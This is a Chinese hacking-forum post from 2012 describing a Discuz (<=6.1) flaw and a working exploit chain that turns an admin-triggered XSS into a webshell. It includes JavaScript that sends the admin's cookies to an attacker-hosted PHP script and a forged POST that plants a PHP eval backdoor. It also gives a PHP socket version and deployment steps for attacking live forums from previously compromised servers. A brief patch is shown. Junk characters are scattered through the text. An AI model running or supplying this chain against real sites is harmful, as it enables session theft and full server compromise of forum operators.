找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3538|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell% T/ D1 B- N6 r* w- c: v
By racle @tian6.com3 B/ o, J" c' U; D
欢迎转帖.但请保留版权信息.
  ^* Z& w/ W) W7 L+ U$ n; C受影响版本iscuz<=6.1.0,gbk+utf+big5
4 Q/ w9 e5 W$ a. \2 F+ b# l9 R2 @9 O: |3 l
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.& q" I" a! E% j
. F' w6 W4 B% L- N& H& R, G
4 L0 o8 ?0 W- t% J
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
, e6 _" d2 u! j9 C( ?* k5 e当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
6 ]6 ^" x  J, A1 |  v- S# y3 P* S$ C: b* N: E. |5 M
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
  c; }3 i( l2 t本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS0 S1 Y- f5 M* |+ M4 r5 X
. Z# Y/ p0 Z1 t" i* k: L6 V3 `

" q9 T: R  G( p$ T' ?9 F( Z2 C----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
( \) P9 U/ q+ x5 t) D
5 r1 {; g- x1 g; Y  }& k7 l9 D$ I
$ B+ S3 u8 \+ n% r5 jproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交./ ~7 p$ U+ [- M- ^$ {

. J1 i* {7 s/ Y8 ]" X) C5 b( c" vproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
' Z8 D" m5 o4 ?8 l4 }$ W3 J& \) \5 y2 |! d' B- I+ ~
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
+ I$ N7 b* N" ~5 N: B( m' P; K, T+ f+ b* I* D

1 J7 x9 y  X& L下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {# L: D8 t- o9 n  y. ^

' a9 a/ T" e6 `$ X7 k0 i        global $runwizardfile, $runwizardhistory;" s2 ?  N& a3 ]/ U/ @, P7 T8 w
2 W9 i- |0 G/ h. b7 _4 s
        $fp = fopen($runwizardfile, 'w');7 L5 h' q9 p7 ~3 }3 T
* e+ A* d6 B' q  j1 R* Z
        fwrite($fp, serialize($runwizardhistory));# g9 W$ K" b2 B( }

* ^" ^4 E+ }3 C* h+ ^5 k        fclose($fp);6 {/ B5 e; d  g' m5 x: Y: s1 ^  @
1 j* ~8 m" h- e+ p' q6 p; x
}
: ?* a1 B8 r9 K( Q" i) `复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.$ w* h+ @  n: H( K) A  e- U
以下是修补的办法:function saverunwizardhistory() {# ~! L. W6 ~* s- a
+ `; B9 T$ `% ]4 M, G7 w& B
        global $runwizardfile, $runwizardhistory;- o/ R0 L9 t0 G, [* E5 y4 E
! j5 V  V* X' F0 k+ |& u
        $fp = fopen($runwizardfile, 'w');
3 U3 ]1 s+ g( |( L& d) R$ J, n# h, v3 j$ }: V( h
        $s = '<?php exit;?>';3 B+ W+ L4 _9 x! }. \8 k

0 ~% j) f, T, {% Z  U' ~1 [4 |  p        $s .= serialize($runwizardhistory);
; u" s. h' [; m
2 R5 b) h2 W7 s; b. B        fwrite($fp, $s);; \( {# n" Y1 f/ `3 k
: ]+ }) }! q# B
        fclose($fp);$ V- W4 x1 k1 h
! ?* [0 J3 X: j4 X
}0 B: |! o7 U% R7 y' _1 A* x- z% g
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.3 }0 F( X( K0 x+ I+ i+ O3 p

% k7 D! u2 g' v8 U
% F6 V/ P2 f  w6 O( G% J
. D1 S5 s' C4 u7 t----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
$ V7 l& a- k4 Z/ \, X; a
% g" ?4 E: _7 Y4 B* j& k* w; N# ~: F7 u6 A
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
3 p5 V2 P% N8 ?! P- x+ [7 w1 o+ {' H
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
: m- k9 ^! c( ^" i. Y2 T, i0 E
0 G$ K3 e* M8 v3 Z, _这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
2 G; F3 S1 Y+ b  p, c) s3 e/ y- N, O- J+ F4 g
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:0 t6 X! @& A- G, G
& \) w, y1 ~& X, T5 u& l$ f
var url="http://目标网站/admincp.php";      
" q, H% A! y) v7 I. K  |
- }  X7 x& k9 G& n/ N/ p- P/*获得cookies*/0 C; p" M; M/ a4 j1 b

6 T- `* y/ b3 m! w- ^3 ufunction getURL(s) {
9 I9 J' g2 X7 f! A, T* o+ @' O3 q  d& R. B7 w7 l
var image = new Image();
7 z! T1 {0 T5 J; n, p- ^- f+ z1 @4 e$ Z9 B2 X. \1 E
image.style.width = 0;
3 \: K* l  o! d. z
( ~0 M1 ?. r2 w4 ~/ i+ dimage.style.height = 0;& H3 q6 q$ h. g& b  r+ Q# m" ]9 O$ C

7 s: S3 z+ a" w& t: G: Wimage.src = s;1 c* s1 U6 ?' d0 _1 U& e% y  u4 c. U
( j& t6 Q5 [# @& t. Z
}
1 A% ?) e: X. a- I% A
8 J( s$ K5 ^  W; p! KgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php9 ]" T4 Q& e% S, Q
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
4 W& Z4 `( A0 s: O复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 7 v6 u' ~9 Q$ Y( [
* {4 A( c: ]9 b+ V& c' d
/ w2 ?' C' ~/ @6 h+ t, C$ q* A
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";- c" x4 i+ A3 u: s6 k

6 \# c4 I) t) E$ e" O9 f: w' d0 T4 K! ?* {, h

, n! z8 [7 J7 ~& ~0 s7 ?/ X/*hash*/
6 y6 t0 ^6 d8 t2 F% y
8 @% D  b4 G; A4 Zvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
3 w9 \/ w" e4 i2 \1 o1 j/ b) b$ @# P+ r( L2 [  _6 E8 i" \. B
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);6 S0 P; J# ?3 @+ X& p0 y* A2 K& v
% l4 R4 d' L. o+ @# J
xmlHttpReq.send();
/ V" R) A: h$ g8 K% B1 B5 p" c- @: {: Q/ u0 h6 N
var resource = xmlHttpReq.responseText;
: Z7 E- V- W3 p/ ]9 c8 ?1 B) Y9 n( h" ~  S% r! Z
var numero = resource.search(/formhash/);
) k* T' H; R2 f9 L5 R) g% g; f6 {, E. Q8 r8 {
var formhash=encodeURIComponent(resource.substr(numero+17,8));" G/ n( H( `. P3 A# l7 n

' G# N' ]* k1 C2 m8 S  Y; E3 e8 Q1 {2 y  E' ?5 F& k

( j4 }9 p+ o% m" k: Evar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 - T  i& d7 f# @
" I) ~# o& b( U( }$ ~$ N5 B
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
& o5 {9 e1 h$ U  G! L# y3 }2 C5 v' q- y$ _% {, v$ u
xmlHttpReq.setRequestHeader("Referer", url);
- L5 W, q2 j' n0 `  c, u( n4 z) h3 j9 s2 u& o( d7 ^; G* N
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
, W9 ^7 W* Q9 a) _1 R5 y, x
1 f: t1 M& _0 @& f2 p9 ^xmlHttpReq.setrequestheader("content-length",post.length); 2 R8 i* v, J$ z3 a
2 f8 _6 t% F) V+ W6 n
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); & w1 _, x5 y- m' R: y$ k

; z: M$ F5 W# g1 zxmlHttpReq.send(post);//发送数据
% a' Z+ E% x1 R' j) I复制代码这里HASH我假设正确,这样提交,也无须cookies
/ ]- @2 _, d# S% G9 C* q( {' x% E7 U; R
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);4 X# Y0 g3 q2 I7 m2 T5 n, Y+ Y1 L) c
# d0 o5 U* e; l* @, s
if (!$sock) die("$errstr ($errno)\n");
! f  T) {7 D! t1 {) E' c2 z! h
: E& s4 N. }8 V" |& V$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';) t6 E0 W" h# n7 X3 p

; A" m4 j. x& e% F1 q
$ ~  \) Y- Q7 q& I
! l3 i7 q! m8 b' s+ w# vfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
+ K- _% V, x# t" m, i7 J; b$ ]% Z7 x, n# L: A" [
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");" T# w$ a) M2 {0 z- X! r

9 z4 Q3 ~% H9 W  q  `fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");# B* W8 y5 c3 I3 g  [9 N4 a; h0 d
# a/ s. Q8 B( J, p6 W$ `2 s5 n3 i
fwrite($sock, "Accept-Language: zh-cn\r\n");
7 x) N' U5 {: i( J8 j0 K8 Q6 }
7 y3 ^  z: g, |5 t2 r, jfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");* Z; j9 I8 ~8 k- y, F- o
; s" B5 E8 E$ a; r" \9 Y
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
6 e  c! E/ U$ W
- ^2 H1 I; s' H/ |fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
. @' f7 ?! |) p
, O' l8 N$ e6 p1 {fwrite($sock, "Host: $url\r\n");
+ Z! M, g6 ^- M; ^. W- w! r
- a1 S" e5 X/ b# X$ e- P7 yfwrite($sock, "Content-Length: ".strlen($data)."\r\n");( B8 `1 X3 e% U4 d5 G6 H* Y- B

: @" v+ \) N& lfwrite($sock, "Connection: Keep-Alive\r\n");7 r! q6 {& i# R4 Z9 d

& [  ^" j9 i# A( ?, a2 N. W* Hfwrite($sock, "Cache-Control: no-cache\r\n");
7 l, I2 c% Z. A/ M" |$ x4 T( E1 w7 _8 z# y" b2 @( n4 P' U0 H
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
1 C) V* M5 M: S; d  {
# @4 ]9 C" W0 H8 A+ d  p8 j; hfwrite($sock, $data);5 z7 Z4 u' C, e4 S9 d
- X; A' l& a+ D: u# j
2 _& r4 U4 h$ Z0 T+ i- K# l

2 n0 A2 Z% n) ]1 f$headers = "";  g4 K* g7 A9 R

2 O$ [2 ^. S1 I* P7 t* G+ M% _1 iwhile ($str = trim(fgets($sock, 4096)))( T' [; X5 R4 a6 C
0 M, r9 d  M3 {) f% S
     $headers .= "$str\n";+ D7 D) O2 M( M# w/ ^
7 t- s, \( x/ _) j
echo "\n";
  r/ p& V& \: K) h) X
! l' x' \7 c5 w3 P$body = "";( J. Q. j. r. G0 d; W

7 X; K! y7 X) ~7 x( K1 F$ g3 iwhile (!feof($sock))
* u& l9 E! E2 n8 a/ M5 P
  ^( y5 U. w) Y     $body .= fgets($sock, 4096);
9 v: w" j# U0 L+ t6 T* C8 m2 p! y3 e. r- F( x& m$ ~4 s
fclose($sock);8 n0 u5 m! }, L. N

9 C; w/ _( b- Decho $body;
( c0 c. H: V9 v" ~复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^- t, D# ~& E6 K5 @

- p/ x' }8 R2 @0 v0 B( S& x) l, ?! v- }4 k1 F
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
7 P, Z! R$ X9 l0 }, ^
# F2 A: {& c6 K5 h# G
  X8 ?+ u! }' ^8 p8 ]/ C1HP SOCKET利用方法首先打开racle.js
( s' Q1 p) |# `( k0 j
3 A3 {+ ^/ O2 e$ s3 u3 Rvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
+ X5 @% V! H! H* O" P! @( G
0 x; k* N! m0 f/ @2 I
( J$ I- A  G/ O) s6 ?! S- p! H3 ?, S, g% B1 }: Z4 f
然后打开racle@tian6.php
% j: G$ s( z. z+ i, H* ?) L$ i) e; v5 ~$ p
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
* p5 ~$ F( c3 k" z. R+ A, l# v6 h  q. G$ F

  h( L# O7 a5 S/ s, ?4 d0 w" R" h8 _: \: b3 v2 F9 k: a
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:5 E% R5 ]* p/ ]& L/ I  F' j

/ G; `. H3 a  D( d2 Q" u' VgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
& ^/ h' ]5 b: B3 ?4 z7 s: x5 ?
* a# V! W1 B) t1 y5 h- r: _9 U3 D
" |/ q  X' m# `! q* T3 H, z+ ]/ J7 l+ t4 h* `* F3 B, R# k
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));* e. B  a+ A5 q" x! ]/ A6 u7 a
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.2 {0 t7 M; b  A1 P! P" G
8 I% _# B" B( A# Q
+ }( r1 c' `5 k! W
: V+ M8 x6 H) Q/ l* a
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
- n* [' B8 Z' N% s2 c% `: b' o/ K; N
var formhash=encodeURIComponent(resource.substr(numero+17,8));* [; h- L% S- M4 D! i

. @* v! k/ Y; V  o3 W/ Q
7 d$ _- S0 X' m3 D: R2 y! j, J8 y1 J3 J) k' X, r' x1 M
var formhash=encodeURIComponent(resource.substr(numero+9,8));6 V" I- S- H  ?- k" b1 E# S7 E
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
4 f; J+ z( Z. _5 f- I
! P- ]% w/ n) F% g如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.; r- X( l) D- _  W
; Y. S2 P# I  F6 z& t7 R7 [
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
0 B6 x- y# R' w: t. F2 J
( u" c7 v% y) u, a  @不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.( @! W$ \, f; `1 W  N! N6 j
/ u7 _) s( I* @/ A, T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表